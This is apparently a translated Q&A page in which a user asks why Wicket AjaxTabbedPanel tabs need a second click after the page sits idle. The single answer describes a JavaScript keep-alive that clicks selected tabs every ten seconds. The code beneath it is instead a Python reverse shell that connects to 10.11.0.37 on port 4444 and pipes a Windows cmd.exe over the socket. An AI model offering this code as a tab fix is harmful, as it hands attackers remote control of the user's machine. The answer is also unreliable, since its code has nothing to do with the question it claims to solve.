Wicket AjaxTabbedPanel选项卡导航需要第二次单击

时间:2016-09-14 14:29:39

标签: javascript java jquery web wicket-6

我最近选择Wicket并使用多个标签构建了single page web application。我使用了 AjaxTabbedPanel ,每个选项卡几乎都包含所有Ajax输入组件。问题是当我将应用程序空闲一分钟(或实际上少了几秒)并单击其他选项卡时,应用程序不会遵循我的请求,直到我再次单击。第二次单击后,应用程序在选项卡导航方面正常运行。这与Wicket model分离并创建新模型有关吗?有人可以建议我解决这个问题,这样我就可以在不受任何时间限制的情况下浏览标签。

已更新

我可以在wicket示例页面上看到相同的问题。请检查以下链接。如果你首先选择"第二个标签"并让页面空闲至少几分钟,然后如果你点击"第三个标签",它就会停留在"第二个标签"或转到"第一个标签"。如果再次单击"第三个选项卡",它将再次起作用,直到它在一段时间后变为空闲状态。当页面空闲时,您将一遍又一遍地看到同样的问题。

examples6x.wicket.apache.org/ajax/tabbed-panel

1 个答案:

答案 0 :(得分:1)

我从未使用它,但如果问题只是空闲时间而且无法通过更改配置来忽略它,请不要让它进入空闲模式。尝试模拟当前标签点击。在onload中调用此函数。它将搜索所有选定的标签,并每隔10秒点击一次。你有多少个标签面板并不重要。它搜索所有这些:

import os,socket,subprocess,threading;
def s2p(s, p):
    while True:
        data = s.recv(1024)
        if len(data) > 0:
            p.stdin.write(data)

def p2s(s, p):
    while True:
        s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.11.0.37",4444))

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
    p.wait()
except KeyboardInterrupt:
    s.close()